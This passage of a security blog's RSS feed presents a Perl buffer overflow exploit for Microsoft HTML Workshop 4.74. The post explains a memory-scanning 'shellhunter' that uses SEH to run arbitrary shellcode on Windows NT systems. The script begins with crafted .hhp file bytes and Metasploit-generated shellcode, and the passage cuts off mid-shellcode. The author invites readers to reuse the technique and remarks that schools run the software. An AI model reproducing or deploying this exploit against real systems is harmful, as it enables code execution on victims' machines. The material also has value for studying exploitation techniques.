eqn="if lineDrawn pixelLineWidth 0" /> <v :f eqn="sum @0 1 0" /> <v :f eqn="sum 0 0 @1" /> <v :f eqn="prod @2 1 2" /> <v :f eqn="prod @3 21600 pixelWidth" /> <v :f eqn="prod @3 21600 pixelHeight" /> <v :f eqn="sum @0 0 1" /> <v :f eqn="prod @6 1 2" /> <v :f eqn="prod @7 21600 pixelWidth" /> <v :f eqn="sum @8 21600 0" /> <v :f eqn="prod @7 21600 pixelHeight" /> <v :f eqn="sum @10 21600 0" /> </v> <v :path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect" /> <o :lock v:ext="edit" aspectratio="t" /> <v :shape id="_x0000_i1025" type="#_x0000_t75" style='width:6in;  height:298.5pt'> <v :imagedata src="file:///C:\Users\ADMINI~1\AppData\Local\Temp\msohtmlclip1\01\clip_image001.png" mce_src="file:///C:\Users\ADMINI~1\AppData\Local\Temp\msohtmlclip1\01\clip_image001.png"   o:title="" /> </v>< ![endif]--><!--[if !vml]--></span></p>
<p style="text-align: left;">here is download link for this article :</p>
<p style="text-align: left;"><a title="Download Here" href="http://abysssec.com/blog/wp-content/uploads/2009/02/fstring-exploit.pdf" target="_blank">http://abysssec.com/blog/wp-content/uploads/2009/02/fstring-exploit.pdf</a></p>
<p style="text-align: left;">feel free to send your questions to admin@abysssec.com|NoSpam</p>
<p style="text-align: left;">Good Luck and Have Fun !</p>
<p style="text-align: left;">
<p style="text-align: left;">
<p style="text-align: center;"><span style="font-size: 14pt; line-height: 115%; font-family: &amp;quot;Tahoma&amp;quot;,&amp;quot;sans-serif&amp;quot;;"><br />
</span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.abysssec.com/blog/2009/02/format-string-exploitation-on-windows/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Microsoft HTML Workshop</title>
		<link>http://www.abysssec.com/blog/2009/01/microsoft-html-workshop/</link>
		<comments>http://www.abysssec.com/blog/2009/01/microsoft-html-workshop/#comments</comments>
		<pubDate>Sat, 10 Jan 2009 09:25:51 +0000</pubDate>
		<dc:creator>shahin</dc:creator>
				<category><![CDATA[Exploits / BUG Decryption]]></category>
		<category><![CDATA[advisory]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[egg hunter]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[seh]]></category>
		<category><![CDATA[shellcode]]></category>
		<category><![CDATA[stack]]></category>

		<guid isPermaLink="false">http://abysssec.com/blog/?p=256</guid>
		<description><![CDATA[Microsoft HTML Workshop &#60;= 4.74 Universal Buffer Overflow Exploit - Another step towards perfect exploitation This is my next article explaining my second public exploit implementing my recent Shellhunting technique. Why use the technique? Well, believe me I could have made the exploit work on only one Windows version, be it XP or Vista, but [...]]]></description>
			<content:encoded><![CDATA[<blockquote>
<h2><em><span style="color: #808080;"><strong>Microsoft HTML Workshop &lt;= 4.74 Universal Buffer Overflow Exploit -</strong></span></em></h2>
<h3><em><span style="text-decoration: underline;"><span style="color: #808080;"><strong>Another step towards perfect exploitation</strong></span></span></em></h3>
</blockquote>
<p>This is my next article explaining my second <em>public</em> exploit implementing my recent <span style="color: #800000;"><em>Shellhunting</em></span> <span style="color: #000000;">technique. </span></p>
<p><span style="color: #000000;">Why use the technique? Well, believe me I could have made the exploit work on only one Windows version, be it XP or Vista, but to make it universal and work on every Windows NT system, you need to make it advanced.</span></p>
<p><span style="color: #000000;">The vulnerability itself is a normal stack overflow, overflowing all the variables on the stack including, the holy grail, the return address. There is also no character transformation, so why use a shellhunter for the exploit? </span></p>
<p><span style="color: #000000;">Here is why:-</span></p>
<ol>
<li><span style="color: #808080;"><em>To overflow the buffer, 280 bytes and above are needed, this isn&#8217;t enough space for a shellcode such as, reverse/bind shell or dl/exec scode, maybe only executing calculator will work.</em></span></li>
<li><span style="color: #808080;"><em>To make it universal there was only one module that had the address, that module is the main applications executable: hhw.exe.<br />
</em></span></li>
<li><span style="color: #808080;"><em>This address includes a &#8220;\x00&#8243; byte (00h), this NULL byte will terminate any more overflow of the buffer so you cannot just simply jump/call the ESP register and execute shellcode after the controllable return address.</em></span></li>
</ol>
<p>Those are the main reasons that need to be worried about. A professional exploit needs to be able to run any shellcode of any capability and size.<span style="color: #000000;">With the Shellhunter the shellcode may even include NULL bytes! </span></p>
<p>Lets recap what a shellhunter does:-</p>
<ol>
<li><span style="color: #808080;"><em>Searches through memory for a certain &#8220;lookout&#8221; value that when located will revert program execution flow to the address at the &#8220;lookout&#8221;. Also the &#8220;lookout&#8221; values must be a set of friendly instructions that will not cause an unneeded &#8220;Access Violation&#8221;.</em></span></li>
<li><span style="color: #808080;"><em>In this case there is no need for it to be alphanumerical, also size does not matter.</em></span></li>
</ol>
<p><span style="color: #808080;"><span style="color: #000000;">The new shellhunter in this exploit will be very different from the previous one. It will search through the whole memory of the application looking for the shellcode, it will not be using any register as a base to search from. The technique will also be reminiscent of skape&#8217;s egghunter technique (I actually have never read his article, but it is pretty cool that there will be a new/fresh look at this type of exploitation with my method ;) ).</span></span></p>
<p><span style="color: #808080;"><span style="color: #000000;">Okay, so what are the new features I am talking about? The shellhunter has indeed increased drastically in size (111 bytes) and the freedom that there are no character restrictions makes it even easier. With that privilege I thought of searching the <em>whole </em>memory with the shellhunter. </span></span></p>
<p><span style="color: #808080;"><span style="color: #000000;">Of course there are a few problems that come to mind with that:</span></span></p>
<ul>
<li>Access Violations will occur when retrieving data from an invalid address.</li>
<li>We need to store the variable which is address currently searched.</li>
<li>The applications memory is a huge range from 0&#215;00000000 to just below kernel base which is, 0x7fffffff. The shellhunter must search through the memory in speed, so that the shellcode will be executed fast.</li>
<li>Also, but I&#8217;ll discuss about this later, the stack layout has to be repaired by the shellhunter..</li>
</ul>
<p>Wow, a <span style="text-decoration: underline;">load</span> of problems.</p>
<p>Now I will write up how I solved them.</p>
<p><span style="text-decoration: underline;">Access Violation problem when reading invalid memory</span></p>
<p>The first method that came to mind was to use the Structured Exception Handling, and that is the method I am using.</p>
<p>Basically the SEH, will handle exceptions when an exception is thrown out it will change the program flow to the address that is in SEH structure. It is in the basic form a linked list type, this is its layout on the stack:</p>
<p><span style="color: #99cc00;"><strong>[ Pointer to the next SEH record]</strong></span></p>
<p><span style="color: #99cc00;"><strong>[Pointer to exception handler code] </strong></span></p>
<p>Altogether it will occupy 8 bytes on the stack. Using it to our advantage we will need to make the &#8220;Pointer to exception handler code&#8221; point to our injected code from the overflowed buffer. And in our case, the Pointer to the next SEH record will be set to -1, which in hex form is 0xffffffff.</p>
<p>If you read the shellhunter code correctly you will say its sort of a loop. And you are right. It is a loop that it searches for the &#8220;lookout&#8221; value, if invalid, exception occurs and then again all over we set up SEH and check for &#8220;lookout&#8221;.</p>
<p><span style="text-decoration: underline;">Save the current address variable somewhere in the heap</span></p>
<p>In this problem I used the address <span style="color: #99cc00;">0x7ffdfad0</span>. Before setting up SEH, it will retrieve the variable at the address and before checking the value with a CMP, so not to lose the address, it will store it at that address.</p>
<p><span style="text-decoration: underline;">Speedy search through memory</span></p>
<p>At the beginning when the shellhunter was in a premature phase, it searched through 4 bytes at a time. Trust me, It took a lot of time. To solve the problem, I used <span style="color: #99cc00;">32</span> bytes. But this also needed to increase the amount of &#8220;lookout&#8221; values that needed to be in the memory so the shellhunter would find it guaranteed (you can see that there are over <span style="color: #99cc00;">64*4</span> bytes of &#8220;lookout&#8221; value in the exploit!).</p>
<p><span style="text-decoration: underline;">Repairing the Stack layout</span></p>
<p>This was one of the last problems I encountered when writing the shellhunter. I noticed that when SEH was called and the appropriate modules made their calls and other calculations, the stack would change. It would approximately decrease the ESP register by a couple hundred bytes. We cannot afford to have that because when the ESP register becomes a very low value, a stack overflow exception occurs, and when that is handled there is no space for any SEH to be set up! So to repair the stack I added bytes to the stack at every loop of the shellhunter also using a few pops/pushs instructions to increase the certain measure.</p>
<p>That&#8217;s all that you need to know that was added! Certainly, a shellhunter is a must-use in some cases for exploitation and I hope that you can implement the method for your exploits (do remember to credit me ;) )! If you got any problems with writing your certain exploit, and need a shellhunter, don&#8217;t hesitate to contact me at skdrat&lt;at&gt;hotmail&lt;.&gt;com (MSN Messenger).</p>
<p>Read the exploit below, and enjoy it!</p>
<p>Milw0rm exploit URL: <strong><span style="color: #99cc00;">http://milw0rm.com/exploits/7727</span></strong></p>
<p>Exploit:</p>
<pre><span style="color: #808080;">
</span></pre>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
</pre></td><td class="code"><pre class="perl" style="font-family:monospace;">&nbsp;
    <span style="color: #666666; font-style: italic;">#!/usr/bin/perl</span>
    <span style="color: #666666; font-style: italic;"># Microsoft HTML Workshop &lt;= 4.74 Universal Buffer Overflow Exploit</span>
    <span style="color: #666666; font-style: italic;"># -----------------------------------------------------------------</span>
    <span style="color: #666666; font-style: italic;"># Discovered/Exploit by SkD                    (skdrat@hotmail.com)</span>
    <span style="color: #666666; font-style: italic;"># -----------------------------------------------------------------</span>
    <span style="color: #666666; font-style: italic;">#</span>
    <span style="color: #666666; font-style: italic;"># This is a continuation of my new method, shellhunting.</span>
    <span style="color: #666666; font-style: italic;"># The exploit is far more advanced than the Amaya's as it runs on</span>
    <span style="color: #666666; font-style: italic;"># every system, partly because the shellhunter itself is very much</span>
    <span style="color: #666666; font-style: italic;"># reliable and universal.</span>
    <span style="color: #666666; font-style: italic;"># The shellhunter does the following tasks to find and exec.</span>
    <span style="color: #666666; font-style: italic;"># shellcode:-</span>
    <span style="color: #666666; font-style: italic;">#</span>
    <span style="color: #666666; font-style: italic;"># 1- Searches through the whole memory of the application.</span>
    <span style="color: #666666; font-style: italic;"># 2- Installs a SEH handler so on access violations it won't</span>
    <span style="color: #666666; font-style: italic;">#    stop hunting for the shellcode.</span>
    <span style="color: #666666; font-style: italic;"># 3- Repairs stack so a stack overflow won't occur (that is what</span>
    <span style="color: #666666; font-style: italic;">#    happens when the SEH is called up, many PUSH instructions</span>
    <span style="color: #666666; font-style: italic;">#    are called from the relevant modules (ntdll, etc).</span>
    <span style="color: #666666; font-style: italic;"># 4- Improved speed by searching through 32 bytes at a time.</span>
    <span style="color: #666666; font-style: italic;"># 5- Uses a certain address in memory to store a variable for the</span>
    <span style="color: #666666; font-style: italic;">#    search.</span>
    <span style="color: #666666; font-style: italic;">#</span>
    <span style="color: #666666; font-style: italic;"># It is very stable and will allow any shellcode (bind/reverse shell,</span>
    <span style="color: #666666; font-style: italic;"># dl/exec). It will work on ALL Windows NT versions (2k, XP, Vista).</span>
    <span style="color: #666666; font-style: italic;">#</span>
    <span style="color: #666666; font-style: italic;"># Yeah, I guess that's about it. Took me a few hours to figure out the</span>
    <span style="color: #666666; font-style: italic;"># whole thing but nothing is impossible ;).</span>
    <span style="color: #666666; font-style: italic;">#</span>
    <span style="color: #666666; font-style: italic;"># Oh, I think some schools use this software :) (it's Microsoft's, right?).</span>
    <span style="color: #666666; font-style: italic;">#</span>
    <span style="color: #666666; font-style: italic;"># You can download the app. from Microsoft's official page:</span>
    <span style="color: #666666; font-style: italic;"># -&gt;  http://msdn.microsoft.com/en-us/library/ms669985.aspx</span>
    <span style="color: #666666; font-style: italic;">#</span>
    <span style="color: #666666; font-style: italic;"># If you are interested in my method and want to learn something new or</span>
    <span style="color: #666666; font-style: italic;"># improve your exploitation skills then visit my team's blog at:</span>
    <span style="color: #666666; font-style: italic;"># -&gt;  http://abysssec.com</span>
    <span style="color: #666666; font-style: italic;">#</span>
    <span style="color: #666666; font-style: italic;"># Peace out,</span>
    <span style="color: #666666; font-style: italic;"># SkD.</span>
&nbsp;
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$hhp_data1</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>5B<span style="color: #000099; font-weight: bold;">\x</span>4F<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>54<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>4F<span style="color: #000099; font-weight: bold;">\x</span>4E<span style="color: #000099; font-weight: bold;">\x</span>53&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>5D<span style="color: #000099; font-weight: bold;">\x</span>0D<span style="color: #000099; font-weight: bold;">\x</span>0A<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>6F<span style="color: #000099; font-weight: bold;">\x</span>6E<span style="color: #000099; font-weight: bold;">\x</span>74<span style="color: #000099; font-weight: bold;">\x</span>65&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>6E<span style="color: #000099; font-weight: bold;">\x</span>74<span style="color: #000099; font-weight: bold;">\x</span>73<span style="color: #000099; font-weight: bold;">\x</span>20<span style="color: #000099; font-weight: bold;">\x</span>66<span style="color: #000099; font-weight: bold;">\x</span>69<span style="color: #000099; font-weight: bold;">\x</span>6C<span style="color: #000099; font-weight: bold;">\x</span>65&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>3D<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>0D<span style="color: #000099; font-weight: bold;">\x</span>0A<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>6E<span style="color: #000099; font-weight: bold;">\x</span>64<span style="color: #000099; font-weight: bold;">\x</span>65&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>78<span style="color: #000099; font-weight: bold;">\x</span>20<span style="color: #000099; font-weight: bold;">\x</span>66<span style="color: #000099; font-weight: bold;">\x</span>69<span style="color: #000099; font-weight: bold;">\x</span>6C<span style="color: #000099; font-weight: bold;">\x</span>65<span style="color: #000099; font-weight: bold;">\x</span>3D&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$hhp_data2</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>5B<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>4C<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>53<span style="color: #000099; font-weight: bold;">\x</span>5D<span style="color: #000099; font-weight: bold;">\x</span>0D&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>0A<span style="color: #000099; font-weight: bold;">\x</span>61<span style="color: #000099; font-weight: bold;">\x</span>2E<span style="color: #000099; font-weight: bold;">\x</span>68<span style="color: #000099; font-weight: bold;">\x</span>74<span style="color: #000099; font-weight: bold;">\x</span>6D&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$crlf</span>      <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>0d<span style="color: #000099; font-weight: bold;">\x</span>0a&quot;</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #666666; font-style: italic;"># win32_exec -  EXITFUNC=seh CMD=calc Size=330 Encoder=Alpha2 http://metasploit.com</span>
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$shellcode</span> <span style="color: #339933;">=</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>eb<span style="color: #000099; font-weight: bold;">\x</span>03<span style="color: #000099; font-weight: bold;">\x</span>59<span style="color: #000099; font-weight: bold;">\x</span>eb<span style="color: #000099; font-weight: bold;">\x</span>05<span style="color: #000099; font-weight: bold;">\x</span>e8<span style="color: #000099; font-weight: bold;">\x</span>f8<span style="color: #000099; font-weight: bold;">\x</span>ff<span style="color: #000099; font-weight: bold;">\x</span>ff<span style="color: #000099; font-weight: bold;">\x</span>ff<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>5a<span style="color: #000099; font-weight: bold;">\x</span>6a<span style="color: #000099; font-weight: bold;">\x</span>46&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>32<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>32&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>75<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>69<span style="color: #000099; font-weight: bold;">\x</span>69<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>4b&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>62<span style="color: #000099; font-weight: bold;">\x</span>64<span style="color: #000099; font-weight: bold;">\x</span>65<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>67<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>65<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>6e&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>73<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>53<span style="color: #000099; font-weight: bold;">\x</span>35<span style="color: #000099; font-weight: bold;">\x</span>73<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>52&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>33<span style="color: #000099; font-weight: bold;">\x</span>6f<span style="color: #000099; font-weight: bold;">\x</span>55<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>57<span style="color: #000099; font-weight: bold;">\x</span>71<span style="color: #000099; font-weight: bold;">\x</span>6a<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>61<span style="color: #000099; font-weight: bold;">\x</span>59<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>36&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>54<span style="color: #000099; font-weight: bold;">\x</span>6e<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>53<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>6e<span style="color: #000099; font-weight: bold;">\x</span>55<span style="color: #000099; font-weight: bold;">\x</span>61<span style="color: #000099; font-weight: bold;">\x</span>39<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4d<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>4d&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>54<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>74<span style="color: #000099; font-weight: bold;">\x</span>34<span style="color: #000099; font-weight: bold;">\x</span>66<span style="color: #000099; font-weight: bold;">\x</span>67<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>71<span style="color: #000099; font-weight: bold;">\x</span>78<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>6d<span style="color: #000099; font-weight: bold;">\x</span>67<span style="color: #000099; font-weight: bold;">\x</span>71<span style="color: #000099; font-weight: bold;">\x</span>39&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>52<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>34<span style="color: #000099; font-weight: bold;">\x</span>35<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>62<span style="color: #000099; font-weight: bold;">\x</span>74<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>57<span style="color: #000099; font-weight: bold;">\x</span>74<span style="color: #000099; font-weight: bold;">\x</span>54<span style="color: #000099; font-weight: bold;">\x</span>35<span style="color: #000099; font-weight: bold;">\x</span>6b&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>55<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>65<span style="color: #000099; font-weight: bold;">\x</span>74<span style="color: #000099; font-weight: bold;">\x</span>67<span style="color: #000099; font-weight: bold;">\x</span>71<span style="color: #000099; font-weight: bold;">\x</span>5a<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>66<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>56&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>6e<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>53<span style="color: #000099; font-weight: bold;">\x</span>6f<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>67<span style="color: #000099; font-weight: bold;">\x</span>71<span style="color: #000099; font-weight: bold;">\x</span>7a<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>45&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>71<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>79<span style="color: #000099; font-weight: bold;">\x</span>33<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>64<span style="color: #000099; font-weight: bold;">\x</span>73<span style="color: #000099; font-weight: bold;">\x</span>34<span style="color: #000099; font-weight: bold;">\x</span>49&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>53<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>71<span style="color: #000099; font-weight: bold;">\x</span>74<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>73<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>35<span style="color: #000099; font-weight: bold;">\x</span>49&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>62<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>66<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>45&quot;</span><span style="color: #339933;">.</span>
